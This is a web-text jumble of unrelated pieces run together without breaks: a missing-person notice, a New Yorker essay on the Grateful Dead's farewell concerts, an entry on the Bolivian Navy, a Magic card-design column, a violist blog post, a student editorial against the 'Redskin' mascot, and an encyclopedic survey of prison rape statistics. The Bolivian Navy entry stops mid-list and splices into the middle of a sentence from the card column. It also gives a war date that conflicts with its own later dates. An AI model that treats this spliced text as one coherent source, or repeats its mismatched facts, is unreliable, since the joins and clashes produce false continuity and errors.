If you have information about Mr. Hrehorsky, please contact the NWPD at 604-525-5411 or your local police.
Update: Missing person George Hrehorsky has been located! Thanks to those who helped us look for him.
-30-A few of us here at The New Yorker recently recorded a podcast about the Grateful Dead, on the occasion of a series of five farewell performances (this weekend in Santa Clara, California, and next weekend in Chicago) by the band’s four surviving members. Afterwards, the segment’s producer, hoping to amplify a remark one of us had made about the Dead’s infamous inconsistency, asked if I could point him toward any performances that were “particularly terrible.” Could I ever. With relish! Any Deadhead worth his stash is a connoisseur not just of the good stuff but also of the bad—blown choruses, mangled leads, laryngitis, amnesia. Their improvisational approach to live performance had something to do with this. If you play by the seat of your pants, you are occasionally going to fall on your face. Toss in copious drug use, an aversion to rehearsal, and a genuine anarchic streak, and you have a band that may have stumbled as often as it soared. (If you’re one of the millions who believe that the Dead only ever stumbled, so be it. I’ll spare you the special pleading. If you believe that they only ever soared, well... de gustibus.)
We enthusiasts, apologists all, maintain that the uncertainty—the chance at musical transcendence amid a tendency toward something less—was what kept us coming back. This argument is a little like the East Coaster’s on behalf of his weather: the nice days are nicer when there are crappy ones in between. And you come to savor the misty mornings, the squalls, the blizzards, and the cold snaps that freeze the ponds. Transcendence, though, was always heavily contingent on the performance of Jerry Garcia, who, in addition to being the Dead’s (quoting myself here) “most accomplished songwriter, most soulful singer, most charismatic figure, most eloquent interviewee, most recognizable icon, most splendid thaumaturge,” was the one who provided the iridescent guitar leads that transported the band’s fans. When he had a bad night, you knew it. The others, when they were off, could sort of hide. The waning of Garcia’s health, technique, and enthusiasm was a kind of meta-performance. In some respects, listening through the band’s thirty-year touring career is a study in decline. By the end, you hardly ever saw the sun.
Since Garcia’s death, in 1995, the remaining members have performed together in assorted configurations, some happier than others, with various substitutes at lead guitar. As accomplished, competent, or even virtuosic as these guests may have been, the imitation, even when purposefully not imitative, usually paled. Still, fans kept showing up, desperate for a flash of the old magic, or at least a vestige of the old party. You could will your way to enthrallment, if you were capable of that kind of thing, and so inclined. Just squint your ears. People I know tended to go in with lowered expectations, as much out of curiosity, or habit, or even a sense of duty, as out of any real hope. And you could laugh at them. “My thesis is that the Grateful Dead were the Silliest Band in the World,” the anonymous genius (and ardent fan) behind the blog Thoughts on the Grateful Dead declares. “I will attempt to prove this through misquotes, malicious lies, and just plumb crazy talk.”
This Fare Thee Well series, the band’s avowed last stand, has attracted a different kind of attention. The hype around this engagement, both in the media and in “the scene,” seems out of proportion to the potential for lift-off. The band felt it had to do something to mark its fiftieth anniversary, and perhaps to use the occasion to say goodbye and fatten up their retirement accounts; it’s not as though they had been burning to make music together again. Much has been written about the high ticket prices, on both the primary and the secondary markets, and the controversies over how these tickets were allocated. This ain’t a free gig in Golden Gate Park. Cheap seats could suddenly be found online this week, but the demand has still been astonishing. Stub Hub says that, although Taylor Swift is its biggest-selling tour of the summer, the Dead, doing just five gigs, are selling sixty-five per cent more (in dollars) per show. The Dead are outselling every summer music festival and account for almost a quarter of all the sales on Stub Hub among so-called legacy acts, doubling those of Paul McCartney and the Rolling Stones.
“Going to Chicago?” In certain circles, it’s the question of the hour. I am not going to Chicago. I’d like to be able to say that it’s a matter of “been there, done that,” but the truth is that I have to be somewhere else for work. Still, many of my fellow cranky old Deadhead friends will be there, daring the band to move them to uncross their arms. They cite anthropological curiosity, sentimental attachment, or the lure of a lost weekend. But still, you never know. As the gigs approach, you get the itch. What if the music is good? The Core Four, as the original band members have been called, are to be joined by excellent musicians: Bruce Hornsby and Jeff Chimenti, on keyboards, and—most critically—Trey Anastasio, on guitar. One wonders about the set lists and what Anastasio, no Garcia clone but in recent months an ardent acolyte, will bring to the ensemble, besides assurance, chops, and star power. One worries about tempo. Even thirty years ago, the drummers often clomped and dragged. And one shudders, perhaps, at the prospect of a football stadium filled to the rim with predominantly middle-aged white men on a bender, on a sweltering Midwestern summer eve. This won’t be the Avalon Ballroom, either.
Earlier this week, a post on Gawker, having nothing to do with the Dead, declared that all concerts should end by 11 P.M., an argument predicated on the notion that live music is a chore. Some commenters even proposed a ban on concerts in general. Yeah, gigs sometimes drag on, standing around gets old, the G train’s a pain, and we all need our sleep. Middle-agers, at least, may find that the thrill is gone for good, no matter how hard they try to summon up that ecstatic youthful state of being in a loud, sweaty club with a loud, sweaty act. But come on now: when it goes off, there’s nothing like it. No matter the genre or the venue, live music, at its best, can obliterate time. The Dead’s Fare Thee Well concerts may well turn out to be a mere tribute to this idea rather than an enactment or a resurrection, but there’s no harm in hoping or continuing to try.The Bolivian Navy (Spanish: Armada Boliviana) is a branch of the Bolivian Armed Forces. As of 2008, the Bolivian Naval Force had approximately 5,000 personnel.[1] Although Bolivia has been landlocked since the War of the Pacific in 1904, Bolivia established a River and Lake Force (Fuerza Fluvial y Lacustre) in January 1963 under the Ministry of National Defense. It consisted of four boats supplied from the United States and 1,800 personnel recruited largely from the Bolivian Army. The Bolivian Navy was renamed the Bolivian Naval Force (Fuerza Naval Boliviana) in January 1966, but it has since been called the Bolivian Navy (Armada Boliviana) as well. It became a separate branch of the armed forces in 1963. Bolivia has large rivers which are tributaries to the Amazon which are patrolled to prevent smuggling and drug trafficking. Bolivia also maintains a naval presence on Lake Titicaca, the highest navigable lake in the world, across which runs the Peruvian frontier.
Landlocked Bolivia has not reconciled with the loss of its coast to Chile and the Navy exists to keep the hope alive of recovering its coast by cultivating a maritime consciousness.[2] The Bolivian Navy takes part in many parades and government functions, but none more so than the Día Del Mar (Day of the Sea) in which Bolivia, every year, re-vindicates its claim for an unspecified sovereign access to the sea.
Bolivia claims the country had access to the sea at independence in 1825. In the Boundary Treaty of 1866 between Chile and Bolivia the involved parties agreed on a border line that established a sea access for Bolivia recognized by Chile. In the War of the Pacific (1879–1883) Chile defeated Peru and Bolivia and conquered the Bolivian coastal territories. The recovery of its coastline is a matter of honor in Bolivia, influencing many modern-day political actions and trade decisions.
In 2010, Peru granted Bolivia "dock facilities, a free-trade zone and space for economic activities" along with the option to "build a Pacific Coast annex for the Bolivian navy school" in a 99-year deal.[3]
Organization [ edit ]
The Navy is organized into ten naval districts with flotilla headquarters in Guaqui, Guayaramerín, Puerto Suárez, Riberalta, and San Pedro de Tiquina and bases in Puerto Busch, Puerto Horquilla, Puerto Villarroel, Trinidad, and Rurrenabaque.
Naval vessels include several dozen boats, a dozen or more of which are for riverine patrol. Seagoing vessels, including the American-made PR-51 Santa Cruz de la Sierra and several other vessels sail the oceans with the Bolivian flag with the granted permission of the "Capitanias Navales" Naval Registration Office. The Libertador Simón Bolívar, a ship acquired from Venezuela, used to sail from its home port in Rosario, Argentina on the River Paraná. In 1993 the Navy was formally renamed the Naval Force (Fuerza Naval) and moved with the Bolivian Army under a single military authority.
Most of the officers attend the Bolivian Naval Academy, graduating with a Bachelor of Science in Military and Naval Science, accredited by the Military University. Many naval officers later go on to further studies at the undergraduate and graduate level. Argentina's Naval Military Group in Bolivia advises on naval strategy and tactics. Many Bolivian officers train in ocean sailing on Argentinian seagoing naval ships. The Force has several Special Operations units to address both internal and external threats.
The Naval Force covers the extensive Bolivian inland waterways divided between the following Naval Districts which are named after the basin or region where they operate:
DN1 First Naval District "BENI" —— ( DN1 Primer Distrito Naval "BENI" ) DN2 Second Naval District "MAMORA" —— ( DN2 Segundo Distrito Naval- "MAMORE" ) DN3 Third Naval District "MADERA" —— ( DN3 Tercer Distrito Naval "MADERA" ) DN4 Fourth Naval District "TITICACA" —— ( DN4 Cuarto Distrito Naval "TITICACA" ) DN5 Fifth Naval District "SANTA CRUZ DE LA SIERRA" —— ( DN5 Quinto Distrito Naval "SANTA CRUZ DE LA SIERRA" ) Sixth Naval District DN6 "COBIJA" —— ( DN6 Sexto Distrito Naval "COBIJA" )
The Naval Service Areas: AN 1 "COCHABAMBA" —— ( AN 1 "COCHABAMBA" ) AN 2 "SANTA CRUZ" —— ( AN 2 "SANTA CRUZ" ) AN 3 " |
significantly but still be very much the same original idea. When Shawn Main handed off Origins, he had a cycle of "Path" cards that represented the... well, path each Planeswalker had to go down to become who they were. Each of these were very much build-arounds that have a quest involved. When I took over the file, I kept the idea, but ended up just making them build-arounds that represented the plane and worked with the general strategy of the Planeswalker, not actual quests.
Man of Impeccable Timing, which became Firefiend Elemental, is a card that the design team got mostly right (having a haste creature with renown was a good way of showing off the mechanic); we just spent a lot of time fidgeting with numbers. We found that 3/2 haste for five was too weak, but it was also weak as a four-mana 3/1. Both had the same problem, though: it was super punishing if you ever got hit with it, the five-mana one being more so, since the extra toughness added a lot of resilience there. In the end, we ended up learning a lot about how big the reward should be for renown and how much fun it was on either side of the table.
Also on this page, Chandra's Scorching (which became Fiery Impulse) shows how we will end up changing things to fit curves. There was nothing wrong with the original spell; we just needed a Shock to better work against the early renown creatures, and it also helped to make it an interesting possibility in Constructed.
Giant Enchantress was intended to be a reward card for the red-white deck, which was at that time an enchantments-matter deck to better tie into Theros. As we worked on the set, we decided that we needed to pare down on some of those kinds of sideways themes and ended up removing that aspect of red-white and focusing just on renown. I still liked a big creature that could be a finisher and ended up turning the Giant into Landslide Elemental (and then Seismic Elemental) to better work with the red-green deck that was based around ramp. The sacrificing of the land was mostly just for flavor and ended up getting cut to make the card cleaner.
Woodrager is an example of a cool idea for a card that both works a little wonkily in the rules and just generally can create some real problems for formats like Commander. The card looks good enough, but because any mana-sifting ability ends up letting this become arbitrarily large, it isn't actually that fun. It also led to some weird gameplay around having to track activated abilities, so we changed it to the version that got counters. In the end, we decided it might be a really cool Constructed card at lower numbers and not scaling so heavily.
Nissa's Revelation is also an interesting case; it was made after the main development of the set ended. We commissioned several pieces of art for Magic Duels, and this came back as one that showed an important part of Nissa's story that wasn't otherwise represented on the cards. I was checking with the story and art team to figure out if there were any story beats that were missing in the set and came upon this art. I ended up designing the card to the art, rather than the art being designed to the card.
That's it for this week. Join me next week when I'll be talking about developing the embalm mechanic.
Until next time,
Sam (@samstod)Violists Really Are the Smartest
No joke.
This kid, Kwasi Enin, got into all eight Ivy League schools (that’s Brown, Columbia, Cornell, Dartmouth, Harvard, Princeton, the University of Pennsylvania, Yale…wow!) along with several other universities. Not only does he have an impressive academic track record (2250 on his SATs and 11 Advanced Placement courses), but he played viola in his high school orchestra as well! While he hasn’t continued playing while at Yale, he has opted for one of the famous a capella groups called the Society of Orpheus and Bacchus.
It didn’t hurt that Enin wrote his college essays about music even though “he simply enrolled in orchestra to meet a state requirement.” Here’s an excerpt from his winning college essay:
Music has become the spark of my intellectual curiosity. I directly developed my capacity to think creatively around problems due to the infinite possibilities in music. There are millions of combinations of key signatures, chords, melodies, and rhythms … As I began to explore a minute fraction of these combinations from the third grade onwards, my mind began to formulate roundabout methods to solve any mathematical problem, address any literature prompt, and discover any exit in an undesirable situation. … Lastly, music has become the educator that has taught me the importance of leadership, teamwork and friendship.
Kwasi’s not the only violist kicking butt. Drew Alexander Forde is continuing to rock the internet with his 62K Instagram followers.
When will we have the first viola playing President of the United States?It is one of the most controversial issues in Neshaminy’s history. It is a topic that no one wants to discuss, but one that needs to be discussed. It is Neshaminy’s nickname, its mascot, its pride. The “Redskin”, Neshaminy’s long-time moniker, has come under fire from community members for its racist origins and meaning time and time again, all to no avail. Many, if not most, community members and students have shown that they do not wish to have the nickname changed; some don’t find it racist (quite the opposite, they think it honors those indigenous to the area), others just want to maintain the tradition. The Playwickian has come to the consensus that the term ‘Redskin’ is offensive. Whether it’s the most basic dictionary definitions, the opinions of many Native Americans, or a more in-depth look at the word’s origins, the evidence suggesting that ‘Redskin’ is a term of honor is severely outweighed by the evidence suggesting that it is a term of hate. It is for these reasons that The Playwickian editorial board has decided it will no longer use the word ‘Redskin,’ or any derivative such as “‘Skins” within its pages in reference to the students or sports teams of Neshaminy High School.
The word ‘Redskin’ is racist, and very much so. It is not a term of honor, but a term of hate. “Our children look at us when they hear this term with questions on why people would use this hateful word,” said Chief Bob Red Hawk member of the Lenape Nation.
The word itself is ambiguous in its meaning and origin. According to the Oxford English dictionary, it refers to the red face paint used by Native Americans back in the 16th and 17th centuries.
Others, like Smithsonian Linguist Ives Goddard, a man now getting press for his research into this issue, believe it is a term created by Native Americans to describe themselves as being “red” compared to the “White” Europeans. But in The Washington Post, Goddard himself noted that “you could believe everything in my article” and not agree with using the word. It’s also possible that through the process of pejoration, says the Oxford English Dictionary, that the word developed its offensive meaning as time went on. Offended Native Americans commonly cite that the “R-Word”,as many Natives refer to it, is derived from the time period in which Native Americans were hunted for bounty. In addition to referring to the color of the Natives’ skins, ‘Redskin’ refers to the collecting of their scalped skins during the genocide of the Native peoples. “ From the 1600’s to the late 1800’s cash bounties were posted by both British and U.S. governments for the delivery of “redskins,” scalps and body parts,” said Clan Mother Ann Dapice, Ph.D, also of the Lenape Nation. While the word started as a term about face-paint, it grew to be much more offensive through pejoration.
Detractors will argue that the word is used with all due respect. But the offensiveness of a word cannot be judged by its intended meaning, but by how it is received.
An Associated Press poll showed that 4/5 of surveyed Native Americans wouldn’t change the Washington Redskins mascot, and an Annenberg Public Policy Poll showed 90 percent of the same demographic wouldn’t change it.
These numbers may seem low to some, but it must be kept in mind that a sports nickname should not be offending anyone. These numbers could be even higher among local Native Americans, or ones that still celebrate and cherish the Native culture.
Even the most basic dictionary definition of the term describes it as “offensive,” “derogatory,” or “pejorative.” These are also used to describe the “N-word” and other racial slurs. Imagine if Neshaminy had used words of equivalent offensiveness, only for different races. The term ‘ Negro’ is similar to ‘Redskin in its pejorative nature, both started as words without racist charge, but through history, use, and connotation, became words that meant much, much more to the people they describe. It is as unnacceptable to publish the term ‘Negro’ in casual context as it is ‘Redskin’. The ‘R-Word’ is at least awkward, at most a racist slur.
The Playwickian cannot publish it for these reasons. The change is not being encouraged for the sake of political correctness itself, but for the sake of being respectful and fair to an entire race. If racist institutions had remained in other areas of society simply because they were time-honored traditions America would be a vastly different place.
Look at it our way is the unsigned editorial which represents two-thirds view (14 members) of the Editorial Board.Prison rape commonly refers to the rape of inmates in prison by other inmates or prison staff. In 2001, Human Rights Watch estimated that at least 140,000 inmates had been raped while incarcerated in the United States.[1] A United States Department of Justice report, Sexual Victimization in Prisons and Jails Reported by Inmates, states that "In 2011–12, an estimated 4.0% of state and federal prison inmates and 3.2% of jail inmates reported experiencing one or more incidents of sexual victimization by another inmate or facility staff in the past 12 months or since admission to the facility, if less than 12 months."[2] However, advocates dispute the accuracy of the numbers, saying they seem to under-report the real numbers of sexual assaults in prison, especially among juveniles.[3]
A meta-analysis published in 2004 found a prevalence rate of 1.91% with a 95% confidence interval between 1.37–2.46%.[4] In a survey of 1,788 male inmates in Midwestern prisons by Prison Journal, about 21% claimed they had been coerced or pressured into sexual activity during their incarceration, and 7% claimed that they had been raped in their current facility.[5] According to the study conducted by the United States Department of Justice for the year 2006, there were 2,205 allegations of inmate-on-inmate non-consensual sexual acts reported in the U.S. prison system, 262 of which were substantiated.[6]
Statistics [ edit ]
Research has shown that juveniles incarcerated with adults are five times more likely to report being victims of sexual assault than youth in juvenile facilities,[7] and the suicide rate of juveniles in adult jails is 7.7 times higher than that of juvenile detention centers.[8]
In the United States, public awareness of the phenomenon of prison rape is a relatively recent development and estimates to its prevalence have varied widely for decades. In 1974 Carl Weiss and David James Friar wrote that 46 million Americans would one day be incarcerated; of that number, they claimed, 10 million would be raped. A 1992 estimate from the Federal Bureau of Prisons conjectured that between 9 and 20 percent of inmates had been sexually assaulted. Studies in 1982 and 1996 both concluded that the rate was somewhere between 12 and 14 percent; the 1996 study, by Cindy Struckman-Johnson, concluded that 18 percent of assaults were carried out by prison staff. A 1986 study by Daniel Lockwood put the number at around 23 percent for maximum security prisons in New York. Christine Saum's 1994 survey of 101 inmates showed 5 had been sexually assaulted.[9]
Reported prison rape cases have drastically risen in recent years, although this may be partially attributed to an increase in counseling and reports.[citation needed] The threat of AIDS, which affects many of those raped in prison, has also resulted in the increase of reported cases for the benefit of medical assistance.
According to one source, female-perpetrated sexual abuse of inmates is a particularly large problem in juvenile detention centers, where 90% of victims of staff abuse say a female correctional officer was the perpetrator.[10]
According to the Bureau of Justice Statistics, around 80,000 women and men a year get sexually abused in American correctional facilities.[11] The National Inmate Survey presented data that consisted of 233 state and federal prisons, 358 local jails, and fifteen special correctional facilities between the time period of February 2011 and May 2012, with a sample of 92.449 inmates ages eighteen or older, and 1,738 inmates sixteen to seventeen. The statistical information highlighted that an estimated of 4.0% of state and federal prison inmates and 3.2% of jail inmates reported experiencing one or more incidents of sexual victimization by another inmate of facility staff since their admission to the facility or in the past twelve months since the survey was executed. More specifically, around 29,300 prisoners reported an incident regarding another inmate, 34,100 prisoners reported an incident involving staff that worked at the facility, and 5,500 inmates reported an incident involving both. Rates reported by female inmates were higher than male inmates, higher among African American inmates than Caucasian inmates, and lower among inmates ages thirty five or older than inmates ages twenty to twenty four.[2]
In addition, Juvenile inmates ages sixteen to seventeen in adult prisons did not have significant higher rates of sexual victimization in comparison to adult inmates. An estimated 1.8% of juveniles inmates ages sixteen to seventeen reported being victimized by another inmate, in comparison to 2.0% of adult prisoners and 1.6% of adults in jails. Among juveniles inmates in the same age range, 3.2% juveniles reported experiencing staff sexual misconduct, in comparison to 2.4% of adults in prisons and 1.8% of adults in jails. Furthermore, Inmates who reported their sexual orientation as gay, lesbian, bisexual, or other has the highest rates of sexual assault within the period of this survey (2011–12). Out of inmates who identify as non-heterosexual, 12.2% of prison inmates and 8.5% of jail inmates reported being sexually victimized by another inmate; 5.4% of prison inmates and 4.3% jail inmates reported being sexually victimized by facility staff.[2]
During 2016 and 2017, the U.S Department of Justice and the Bureau of Justice statistics updated the data collected for the Prison Rape Elimination Act (2003) through the National Survey of Youth in Custody (NSYC). The National Survey of Youth in Custody provided an estimate of youth reporting sexual victimization in juvenile facilities through computerized self-interviewing technology. This survey was first conducted in June 2008 and the third data was collected in 2017. The collected data highlighted that sexual assault in female-only juvenile facilities (5.3%), which were more than three times greater than those in male only facilities (1.5%). Youth-on-youth sexual assault was lowest (1.1%) in facilities where almost all youth reported to have first learned sexual assault was not allowed within the first twenty four hours of arrival. For facilities with a 76% greater concentration of youth with a history of psychiatric conditions, there was a 4.0% of reported incidents of sexual assault by another youth. Youth reported a 5.9% of staff sexual misconduct for facilities with multiple living units, in comparison to 2.1% of youth in facilities with single units. To conclude, rates of staff sexual misconduct were highest in facilities where youth perceived the facility staff to be unfair (10.3%), youth had the fewest positive perceptions of staff (9.7%), and youth worried about physical assault by other youth (8.2%) or staff (11.2%).[12]
Psychological repercussion [ edit ]
According to the report conducted by the Bureau of Justice Statistics in 2011–12, inmates with serious psychological distress reported high rates of inmate-on-inmate and staff sexual assault. An estimated 6.3% of federal prison inmates with serious psychological distress reported to have been sexually victimized by another inmate, in comparison to 0.7% of inmates with no serious mental illnesses. Similar statistics were reported for non-heterosexual inmates who reported higher rates of inmate-on-inmate sexual victimization; 21% of prison inmates and 14.7% of jail inmates with serious psychological distress reported being sexually assaulted. For each measured subgroups (sex, race or Hispanic origin, body mass index, sexual orientation, and offense), inmates with serious psychological distress reported higher rates of inmate-on-inmate sexual victimization than inmates without mental health problems.[2]
This statistical information is very important due to the very complex repercussions that sexual assault and rape can cause to an individual. According to the data provided by the Bureau of Justice and Statistics, 36.6% of prison inmates and 43.7% of jail inmates reported being told by a mental health professional that they had a mental disorder. Inmates identified with serious psychological distress reported high overall rates of sexual victimization. Serious psychological distress was identified on inmates through the use of the K6 screening test. The test consisted of six questions on how often had the inmates felt nervous, hopeless, restless, depressed, effortless, and worthless in the past 30 days. A summary score was added to three categories: 0–7 meaning no mental illness, 8–12 meaning anxiety-mood disorder, and 13 or higher meant serious psychological distress. State and federal inmates identified with serious psychological distress that were sexually victimized by another inmate were an estimated 6.3% and sexually victimized by a facility staff member were 5.6%. Likewise, 3.6% of jail inmates identified with serious psychological distress reported being sexually victimized by another inmate and 3.6% being sexually victimized by a staff member.[2]
The Human Rights Watch published a book titled "No Escape: Male Rape in the U.S" on April 17, 2007 where they conducted extensive research for three years to expose the problem of male rape in United States prisons. The information provided in the book was collected from over 200 prisoners among thirty-four states. The Human Rights Watch included a specific description of the psychological effects that rape has on victims of sexual victimization, stating "Victims of prison rape commonly report nightmares, deep depression, shame, loss of self-esteem, self-hatred, and considering or attempting suicide. Some of them also describe a marked increase in anger and a tendency towards violence."[13] Consequently, due to the severity of the act one of the most important repercussion is the fear that is instigated far beyond the initial trauma reaction. In Patricia Resick's article titled, "The Trauma of Rape and the Criminal Justice System", she addresses a therapy study of fear in rape victims and states, "it was not uncommon for women who were ten or twenty years postrape to seek help for continuing rape-related problems."[14]
Sexually transmitted diseases [ edit ]
A prevalent issue that occurs because of prison rape is the transmission of sexually transmitted infections, including HIV. According to the U.S. Department of Justice, in December 2008, a total of 21,987 inmates in both federal and state prisons were HIV positive or were confirmed to have AIDS.[15] Prisons and jails currently hold significantly high rates of HIV compared to the general population at large.[16] There is evidence that rape and other forms of sexual violence assist in transmitting STDs.[17] Violent forms of unprotected vaginal or anal intercourse have the highest risk of transmitting an STD. Especially for the receptive partner, outcomes of coerced sex tear the membrane of the anus or vagina and cause profuse bleeding.[15] The unfortunate reality is that "prison rape incidents often involve multiple perpetrators" which aids in the spread of sexually transmitted diseases and, "unlike sexual assault in the general community, a person who is raped in prison may be unable to remove him- or herself from the vicinity of the perpetrator or perpetrators and thus may be raped repeatedly while incarcerated".[18] Despite the increasing number of prisoners with sexually transmitted diseases, reliable statistics on prisoners who have received STDs due to prison rape are unavailable. Many reports of sexual abuse of either coerced vaginal or anal intercourse remain unreported.
It is important to note, "racial and ethnic discrimination, low socioeconomic status, migrant status, mental illness, and housing instability can also, independently or with each other, increase the risk of detention and HIV infection". Transgender people notoriously, "face high risks of HIV transmission and incarceration as a result of criminalization, discrimination in health settings, punitive law enforcement, and social marginalization". Women that are transgender, "are [specifically] subject to high levels of police abuse, including profiling as sex workers and sexual exploitation and physical and verbal abuse from guards and male inmates while in detention".[19]
Mass overcrowding has become a serious issue within federal and state prisons, which greatly contributes to the prevalence of sexual abuse. The prison population has dramatically increased in the 2000s due to policies such as increasing sentencing laws and the War on Drugs.[20] Prisoners thus become more vulnerable to HIV infections and other sexually transmitted diseases because of the lack of space and resources available to them.[16] With a larger prison population to watch over, there is less supervision and protection offered to prisoners and many become subject to abuse, including prison rape.[15] Overcrowding of prisons affects not only prison populations, but acts as a serious public health issue and can adversely affect society's health as a whole. Released individuals can easily transfer an STD to others within the larger society. Therefore, it is crucial to prevent the transmission of infectious diseases within prisons.
There are rarely any resources available for the prevention of STD transmission. Some systems, like city and county jail systems, do not actively seek to identify and treat inmates with STDs.[21] Despite being highly recommended by public health officials, preventative materials against the transmission of STDs, including condom distribution, HIV testing, and counseling and risk assessment, are rarely accessible to prisoners.[15]
Prison rape and sexuality [ edit ]
In prison rape, the perpetrator and victim are almost always the same sex (due to the gender-segregated nature of prison confinement). As such, a host of issues regarding sexual orientation and gender roles are associated with the topic.[22]
In U.S. male prisons, rapists generally identify themselves as heterosexual and confine themselves to non-receptive sexual acts. Victims, commonly referred to as "punks" or "bitches", may or may not be seen as homosexual. "Punks" is a term for those who are generally confined to performing receptive sexual acts. Moreover, although "punks" are coerced into a sexual arrangement with an aggressor in exchange for protection, these men generally consider themselves heterosexual.
Along with the bribe for protection, both male and female inmates sell sex for money, or additional reasons such as bribery or blackmail. According to the 2006 Bureau of Justice Statistics (BJS) study, in 30 percent of the inmate-on-inmate incidents, victims were talked into the sexual encounter.[23] This finding shows that there is more behind the prison rape than simply one's sexuality. Male sexual victimization was more frequently perpetrated by the staff, whereas the perpetrator for female inmates was more frequently another inmate. This discrepancy in sexual assault between genders could be linked lack of reporting by the inmates. A recent study found that "only approximately one quarter of the male inmates and one tenth of the female inmates reported their perceived victimization to a correctional officer or a prison official." The reports of victimization among women and men involved abusive sexual contact and some form of forced sex.[24]
In U.S. women prisons, there is the common notion that sexual encounters usually occur more in hopes of "love, affection, and companionship."[23] This is somewhat true, but there is also a hypersexualization and stereotype associated with incarcerated women. Some of the society sees incarcerated women as socially deviant and overly sexual, which can translate over to the notion that the women in the prisons always have voluntary relationships.[25] A study in 1966 noted that 21 percent of the females inmates had a voluntary homosexual relationship. However, the most recent research on women inmates indicates a change. The latest study found that only "five of the 35 women" interviewed were in a voluntary homosexual relationship, with most of the women now describing themselves as "loners." This change indicates that homosexual relationships among incarcerated women do not occur not as frequently as in prior generations.[23]
LGBT inmates are more likely to be raped while incarcerated.[26] Although the sexual assault reporting system is notoriously flawed because of inmate fear or pride, elaboration on this statement is found in a recent publication. All of the inmate surveys conducted by the Bureau of Justice Statistics confirms that LGBT inmates "report higher rates of sexual victimization than their straight counterparts." In the 2011 to 2012 Survey, the Bureau found that within the past twelve months 12.2% of non-heterosexual people in prison reported inmate-on-inmate sexual assaults and heterosexual inmates reported 1.2%. In regards to staff-on-inmate sexual assault, 5.4% of nonheterosexual inmates reported victimization, compared to 2.1% of heterosexual inmates who reported victimization.[27] A study conducted in a California prison discovered that 67 percent of LGBTQ inmates reported sexual assault during their incarceration. Many speculate that these numbers are due to their place in the sexual hierarchy in prison, which automatically makes them targets of sexual assault.[28] These findings illustrate that the incarcerated LGBT population faces significantly higher rates of victimization than their heterosexual counterparts.
Some prisons separate known homosexuals, bisexuals, and transgender people from the general prison population to prevent rape and violence against them.[citation needed] There are, however, other methods to get oneself segregated from population, such as rule infractions or feigned suicide attempts. Other inmates have resorted to killing their rapist (or probable future rapist), particularly those who already have long sentences and are thus immune from further legal consequences.
Shame regarding perceived homosexuality may contribute to the under-reporting of prison rape by victims. Prison rape statistics are much higher than reported, as many victims are afraid to report, being threatened with physical violence by rapists if reported, as well as staff indifference.
Federal Law Public Law 108-79 was passed in the United States in 2003. According to Stop Prisoner Rape, Inc.:[29]
The bill calls for the gathering of national statistics about the problem; the development of guidelines for states about how to address prisoner rape; the creation of a review panel to hold annual hearings; and the provision of grants to states to combat the problem. "Unfortunately, in many facilities throughout the country sexual abuse continues virtually unchecked," said Stemple. "Too often, corrections officers turn a blind eye, or in the case of women inmates, actually perpetrate the abuse. We hope federal legislation will not only create incentives for states to take this problem seriously, but also give facilities the tools and information they need to prevent it."
Reporting prison rape [ edit ]
"Sexual assault is [already] an underreported crime," and prison rape only increases the likelihood for individuals to not "report their assaults to law enforcement personnel." A "Crime Victimization Survey [concluded] that only 20–35% of female sexual assault victims" openly discuss and report their assault to police enforcement. Sexual assault victims deal with severe shame and fear, which plays a significant role in their decision to report the crime. Women and minorities have especially difficult circumstances when it comes to dealing with reporting sexual assault to law enforcement. "Certain communities and settings" make it more difficult to report assault; for instance college campuses are notorious for not handling rape claims appropriately.[30]
The Prison Rape Elimination Act "(PREA) was passed in 2003, but" unfortunately the guidelines and standards that made up the act were not executed nationally until 2014. A study conducted by five reputable scholars analyzed "what factors" are important to the decision making process of women behind reporting sexual assault in prison "in an effort to inform or enhance the implementation of PREA." The study was made up of 179 incarcerated women who experienced "almost 400 incidents of staff sexual misconduct." The study was focused on women because there is a higher volume of women sexually assaulted in prisons, making the majority of the reporting cases studied female.[30]
The study addressed the individual-level factors that contribute to the reporting of sexual assault in prisons. Victim gender plays a role in reporting, in "that female victims of sexual assault are more likely to report their assaults than male victims." In regards to victim race, it appeared that there was no difference in reported cases based on race in incarcerated women. Another important factor in reported cases of sexual assault can be victim age. Younger victims are more likely to report than older victims, most likely because younger victims want to take action while the older victims are more concerned with the "potential consequences with reporting." Victim's income and victim education are surprising factors in that "women of higher socioeconomic status are less likely to report sexual assault," and women with higher education tend to report less frequently than those with less formal schooling.[30]
In addition to these individual-level factors, the study revealed that the type of assault had adverse effects of the likelihood of reporting. "Assaults which resulted in a physical injury were 3.7 times more likely to be reported" and the "assaults that occurred on more than one occasion were only half as likely to be reported." Assaults that resulted in compensation in one form or another were much less likely to be reported. All of these factors that determine an inmate's likelihood of reporting play a major role in how prison rape should be handled. Individuals need to feel comfortable with speaking out and need to be aware of their options in regards to reporting, as well as a reassessment of correctional staff.[30]
In another study, Brett Garland and Gabrielle Wilson studied whether reporting sexual assault is viewed the same as snitching in prison settings. The data gathered from their scholarly journal was collected from the "EthnoMethodological Study of the Subculture of Prison Inmate Sexuality in the United States, 2004–2005, retrieved from the Inter-university Consortium for Political and Social Research," which analyzed 409 male imamates and 155 female inmates from "30 high-security prisons." These prisons were spread throughout 10 different states within "four regions of the United States." The results of Garland and Wilson's analysis of the data were "sixty-five percent of the inmates studied" agreed that reporting sexual assault is the same as snitching. It was also found that "the odds of an inmate considering that reporting rape is synonymous with snitching increases 33% for every" increase in the months that have been served on an individual's sentencing time. But, as time goes on, an inmate's likelihood of registering reporting with snitching will eventually hit a plateau, and their sentencing time will no longer determine their view on reporting. Race and ethnicity were evaluated and the data showed that "black inmates are less likely to consider reporting rape as snitching." Several other variables were analyzed, such as "age first imprisoned, prior prison commitments, age, marital status, sexual orientation, or violent offense," but proved to be not significant with the goal of the research.[31]
This study shines a light on the reality of inmates' views on rape. Garland and Wilson conclude that there is "a need to address inmate socialization immediately upon inmate arrival, as the likelihood of accepting the reporting of rape as snitching increases the most during the earlier months of incarceration." The study reassures that an inmate's decision on whether or not to report sexual assault depends again on a multitude of factors.[31]
A journal written by four scholarly researchers, the subject of rape myth acceptance (RMA) was analyzed to see how it affects the reporting of sexual assault with women. Throughout the beginning of their study, the authors introduced the idea of the "'classic rape'" which is seen as an "abduction, the perpetrator being a stranger, severe force, and serious injury." Incarcerated women are likely to compare their own sexual assault to their own concept of what constitutes as "rape." This correlation is believed to "negatively impact women's' decisions to report to the police." Rape myth is defined as "specific beliefs about rape that are widespread and persistently held, despite the fact that they are largely false."[32]
